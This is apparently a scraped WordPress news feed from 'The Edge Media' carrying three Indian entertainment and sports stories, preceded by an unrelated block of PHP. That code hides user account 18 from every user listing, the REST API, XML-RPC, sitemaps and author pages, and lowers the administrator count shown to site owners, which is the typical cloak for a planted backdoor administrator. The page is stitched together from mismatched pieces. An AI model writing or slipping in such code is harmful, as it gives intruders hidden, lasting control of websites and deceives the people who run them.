add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Indian Olympics Contingent was hosted today by President Ram Nath Kovid. appeared first on The Edge Media.
]]>The team, including stars of Tokyo 2020 like athlete Neeraj Chopra and Badminton ace PV Sindhu, gathered for the event held on the eve of India’s 75th Independence Day
“The entire country is proud of our Olympians for bringing glory to the nation,” President Kovind told the participants.
India garnered a historic seven medals at the Games this time, its best ever tally. What added glitter to the achievement was Mr Chopra winning the javelin throw event, bringing the country its first gold medal in decades.
The post Indian Olympics Contingent was hosted today by President Ram Nath Kovid. appeared first on The Edge Media.
]]>The post Amitabh Bachchan happy to be back on the sets of Kaun Banega Crorepati appeared first on The Edge Media.
]]>“.. back .. on that chair from 2000 .. that’s 21 years .. a lifetime .. !!.and gratitude to all that came along,” Big B captioned the post.
See the post here :
https://www.instagram.com/p/CSaMn_ni86A/?utm_source=ig_web_copy_link
For the unversed, the ‘Agnipath’ star started hosting the quiz show in the year 2000, and since then he has been a constant part of the show except for one season. In 2006, Shah Rukh Khan replaced Big B as a host for the third season of the show. However, SRK failed to impress the audience with his hosting skills on the game show.
Speaking about the upcoming 13th season, it is scheduled to air from August 23 on Sony Entertainment Television. It is being said that owing to the COVID pandemic, a lot of changes were implemented during the shoot of the show.
The post Amitabh Bachchan happy to be back on the sets of Kaun Banega Crorepati appeared first on The Edge Media.
]]>The post Aditya Narayan decides to quit hosting after 2022 appeared first on The Edge Media.
]]>Speaking to ETimes, Aditya said, “2022 will be my final year as a host on Indian television. I won’t host after that. It’s time to do bigger things. I am bound by prior commitments, which I will complete in the coming months…I will take a break from TV next year. I feel great about doing multiple things at a time, but it’s also exhausting.”
Calling television his ‘cocoon’ that gave him fame and success, the singer added, “As grateful as I am to Indian television for being my cocoon through the past 15 years, it is time to move on to other things.”
“I was a teenager when I started hosting on the small screen, and by the time I am done next year, I will probably be a father (smiles). The TV industry has given me a lot — name, fame, and success. It has enabled me to build a house in Mumbai, own a car and have a great life. It’s not that I will abandon TV, but I will do something else like participate in a game show or judge one. But my time as a host is coming to an end,” he further added.
Aditya concluded “After all these years of hosting, main apne pairon par khada hoon, par pairon par khade ho kar abhi pair mein thodi problem hone lagi hai. Ab seat par baithne ka time aa gaya hai.”
Meanwhile, Aditya started as a host on the singing reality show Sa Re Ga Ma Pa Challenge in 2007.
The post Aditya Narayan decides to quit hosting after 2022 appeared first on The Edge Media.
]]>